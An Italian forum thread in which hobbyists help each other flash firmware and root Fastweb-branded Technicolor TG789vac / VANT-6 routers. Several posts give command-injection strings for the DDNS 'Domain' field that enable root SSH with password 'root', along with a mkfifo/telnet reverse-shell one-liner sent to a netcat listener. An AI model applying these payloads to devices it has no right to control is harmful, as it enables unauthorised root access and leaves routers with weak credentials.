[FrancYescO]

nell'ultima versione della wiki ci sono i link giusti https://hack-technicolor.readthedocs.io/en/latest/Repository/#tg789vac-xtream-35b-vbnt-f
o comunque qui un mirror https://repository.ilpuntotecnico.com/files/Ansuel/FASTWEB/TG789vacXtream/

le versioni < 16.2.8706 hanno quel difetto, quindi aggiorna, ma comunque è consigliato che tu metta il firmware più aggiornato quindi utilizza il 16.3 che hai tu stesso fornito

la GUI installa la versione dev, se hai ulteriori problemi con quest'ultima, vai nel topic adatto https://www.ilpuntotecnico.com/forum/index.php/topic,81461.0.html

[gerrydoro]

Ciao a tutti, una curiosità: qualcuno mi sa dire che modello è quello in queste foto?
https://photos.app.goo.gl/2Kmao5jzkLDq6EU38
Cercando su internet lo vedo chiamare sia TG789vac Xtream 35b che TG789vac v2 / VANT-6 cosi ho provato a flashare i firmware di entrambi (da pazzo ignorante che sono).
Tuttavia il mio folle gesto modemicida non mi ha portato a niente: ogni volta che flasho un firmware con TFTPD32 il suddetto firmware "non si flasha".

Con questi firmware, TFTPD trasferisce fino al 100%, il modem si riavvia e ritorno alla schermata del firmware originale fastweb
=> vant-6_16.3.7637-ver2.2.1-CRF695-2721005
=> vant-6_16.3.7636-2921002-20170419153951-718b590506a915e24be58946f4755c0c617d9c8d.rbi
=> MST.TG789vac.v2-17.2.278-0901008.rbi

Con questi firmware, TFTPD sclera e mi mostra trasferimenti multipli che partono e si interrompono all'infinito, costringendomi a spegnere il modem che, una volta accesso, mi mostra la solita schermata fastweb
=>16.2.8706_FW_214_IAD_TG789vacXtream.rbi
=> 16.2.8706_FW_214_MOS_TG789vacXtream.rbi

Mi aiutate a capire dove sbaglio? Grazie

[lorenzocanalelc]

Il tuo è un VANT-6, su bank_2 (Il flash va a buon fine ma il dispostivo in questo momento carica il firmware su un’altra parte di mermoria) segui questo schema e chiedi in quel post https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg254354.html#msg254354
In teoria ti potrebbe anche soltanto bastare il failboot forzato (guarda qua: https://www.ilpuntotecnico.com/forum/index.php/topic,77981.msg238225.html#msg238225)

[scarco]

Buonasera a tutti ...
Ho ereditato questo router ma non riesco ad usarlo ... ovvero credo sia per i clienti business e abbia un firmware custom.
Il router risponde solo sulla porta Wan all'ip 192.168.1.254 e chiede utente e password che non conosco.
Stò provando mandarlo in bootp e a passargli il firmware 16.2.8706_FW_214_MOS_TG789vacXtream.rbi ma non cambia nulla , parte sempre sulla bank2 con il firmware di prima.
C'è un altro modo per forzarlo a cambiare bank ?
Il metodo appena consigliato sopra a me non ha portato a nessun risultato.

Tecnicolor Gateway
(c) 2015, All rigts reserved

Gateway initialization sequence started
Boot Loader Version : 15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Boot Loader OID     : unofficialbuildOID0000
CPU                 : BCM63138B0
RAM                 : 256MB
Flas               : 125MB NAND
Board Mnemonic      : VBNT-F
Market ID           : FFFC
*** Press b to enter BOOT-P ***
                                                                   
Booting             : Bank 2
SW Version          : 16.1.6849-2081003-20170302163937-4aec6f173b2ebf0c34ea39da71c3b8c6bc124f50
Starting te Linux kernel

[lorenzocanalelc]

Diciamo che nel tuo caso non funziona come con il tg789vac v2, fare il failboot è più difficile con i firmware nuovi questa è una delle guide che ho trovato

Codice: [Seleziona]

1. Accendere il modem e appena la spia arancio si accende iniziare velocemente a premere il tasto ON/OFF in modo che non venga tolta proprio del tutto corrente, mentre lo fate se mentalmente dite tic-tac-tic-tac è il ritmo giusto, ad ogni tic spegnete e al tac riaccendete (sembra stupido ma è per dare l’idea);
3. Il modem a un certo punto spegnerà la lucetta arancio come per andare in fail boot, ovvero avvio fallito.
4. Rifate il punto 1 una seconda volta e poi una terza.
5. A questo punto accendete e provate a lasciarlo accendere e dovrebbe partire.

Io personalmente ho avuto difficolta ad usare questo metodo ma è l'unico facile per fare il failboot.
Qua trovi tutti i metodi documentati per il failboot https://hack-technicolor.readthedocs.io/en/stable/Recovery/#bootfail-procedure

[scarco]

Prova e riprova aggiornamenti di firmware , root , gui mi ritrovo in questa condizione :

All'avvio in seriale vedo :

Codice: [Seleziona]

Technicolor Gateway
(c) 2015, All rights reserved

Gateway initialization sequence started
Boot Loader Version : 15.50.1005-0000000-20151209073757-4fd17452ef9fdf09e9f981340e5d6b3f85fe6c5a
Boot Loader OID     : unofficialbuildOID0000
CPU                 : BCM63138B0
RAM                 : 256MB
Flash               : 125MB NAND
Board Mnemonic      : VBNT-F
Market ID           : FFFC
*** Press b to enter BOOT-P ***
                                                                   
Booting             : Bank 1
No valid SW detected----
Si riavvia tre volte e parte dal bank2  e mi ritrovo con :

Versione software
16.2.8706-3401002-20190430095635
e gui di Ansuel .

Ma è normale ?

Ho provato anche al primo riavvio a riflashare 16.2.8706_FW_214_MOS_TG789vacXtream.rbi il flash va a buon fine , parte da bank1 con logo Fastweb.
Root , gui , si riavvia e rivà in loop No valid SW detected e torna a partire dalla bank2

Nelle ultime righe del log leggo :

 

Codice: [Seleziona]

Resetting password to root...
   New password detected!
   Storing encrypted password...
   New password detected!
   Storing encrypted password...
   OBP sanity check FAILED start autoplanning...
   Cloning to bank_2 and checking checksum...
   Cloning complete, moving to bank_2 overlay...
   Seems first install from bank_1 saving GUI to root  and setting install flags...
   Moving /overlay/bank_1 to /overlay/bank_2...
   Activating and erasing bank_1...
   Installation will continue after reboot...
L'ultima riga "Activating and erasing bank_1..." ??

[larsen64it]

Sembra tutto ok. Con le ultime versioni della gui è stato introdotto l'auto bank planning. In pratica resta attiva la bank_1, ma in quanto vuota fallisce l'avvio 3 volte per poi passare e avviare la bank_2. Durante l'avvio della bank_2 viene montato lo spazio lasciato vuoto dalla bank_1 come overlay (modoverlay). Questo perché se ci sono problemi seri basta caricare il firmware con tftp per riavere il router funzionate e ricominciare da zero.

P.S. grazie a TheBo  c'è la versione 16.3 ma essendo dump deve essere caricata con mtd.

[scarco]

Grazie per la spiegazione ,  pensavo appunto fosse una cosa voluta ..... ma meglio essere sicuri
Avevo visto e appunto scaricato i file della 16.3.
Ma non ho capito/avuto modo di studiare come si passano , essendo file dump.
Mica potresti indicarmi i comandi da eseguire , oppure un post dove posso leggerli ?

Grazie

[larsen64it]

Se ho ben capito ora ti trovi in bank_2 con la gui installata. Io ricomincerei visto che sono 2 versioni di firmware abbastanza diverse:
da ssh
mtd erase -r rootfs_data  ## cancella tutta la configurazione  e gui
Al ravvio sei ancora in bank_2 > sblocco
Carica il file dump in /tmp
da ssh
mtd write /tmp/file_dump bank_1 ## questo carica il firmware in bank_1
mtd erase -r rootfs_data ## come sopra ma avendo caricato il firmware in bank_1 (che è attiva) al ravvio sarai in bank_1
sblocco sempre con AFG, ma avendo cura di spuntare "Dividi il comando con punto ....." in quando non accetta comandi lunghi utente: admin pass: l'access key dell'etichetta del router.
Installa la gui.dev che su occuperà di fare tutto in automatico.

[scarco]

Grazie , più tardi provo .
Per lo sblocco io ho usato le istruzioni al post 8 con netcat , non funziona più questo metodo ?
Usando AFG devo eventualmente selezionare un modello di router particolare ?

P.S : i file mtd3.dump o mtd4.dump sono uguali ? è indifferente quali dei due uso ?

[FrancYescO]

devi usare mtd3
farlo con AFG velocizza quello che faresti con nc

[lorenzocanalelc]

Comunque a me che non funziona AFG nel mio Mac (Solo per questo mi ostino ad usare metodi alternativi), hanno funzionato le due stringhe che avevo suggerito sul 16.3 mettendole in sequenza su DDNS

Codice: [Seleziona]

;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].enable='1';uci commit;echo -e "root\nroot" | passwd;/etc/init.d/dropbear restart

Codice: [Seleziona]

;sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.[member=77439]coredump[/member][0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart

[larsen64it]

La versione 16.3 non accetta comandi lunghi per lo sblocco. Per usare netcat:
 da terminale
nc -lvvn 1337
da gui  prite pagina “Servizi WAN”, andate nella nella sezione DDNS e inserite questa stringa nel campo “Dominio”:

Codice: [Seleziona]

www.ooo.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet IP-PC1337 >/tmp/f &Attivate il servizio DynDNS e infine salvate
su nc apparirà il simbolo della shell "#"
incollare

sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.@coredump[0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart

https://termbin.com/p7m8

INVIO

[FrancYescO]

Comunque a me che non funziona AFG nel mio Mac (Solo per questo mi ostino ad usare metodi alternativi)

https://github.com/mswhirl/autoflashgui/issues/39

[scarco]

Se ho ben capito
(...)

Mi sembra vada in errore la copia dei file come se non ci fosse lo spazio necessario ...
Che guardando mi tornerebbe :

Filesystem                Size      Used Available Use% Mounted on
rootfs                   31.1M      1.3M     29.8M   4% /
/dev/root                22.0M     22.0M         0 100% /rom
/dev/mtdblock2           31.1M      1.3M     29.8M   4% /overlay
overlayfs:/overlay/bank_2
                         31.1M      1.3M     29.8M   4% /

Il file mtd3.dump è 48 mega

Ho provato a togliere tutti gli FF da un certo punto in poi , il file è diventato uploadabile , scritto sul bank1 , riavvio .... errore e riparte dal bank2

P.S : il comando "sed -i 's#root:/bin/false#root:/bin/ash#' /etc/passwd;uci set dropbear.@dropbear[0].PasswordAuth='on';uci set dropbear.@dropbear[0].Interface='lan';uci set dropbear.@dropbear[0].RootPasswordAuth='on';uci set dropbear.@dropbear[0].RootLogin='1';uci set dropbear.@dropbear[0].enable='1';uci set system.@coredump[0].reboot='0';sed -i 's/#//' /etc/inittab;uci commit;/etc/init.d/dropbear restart" mi dà errore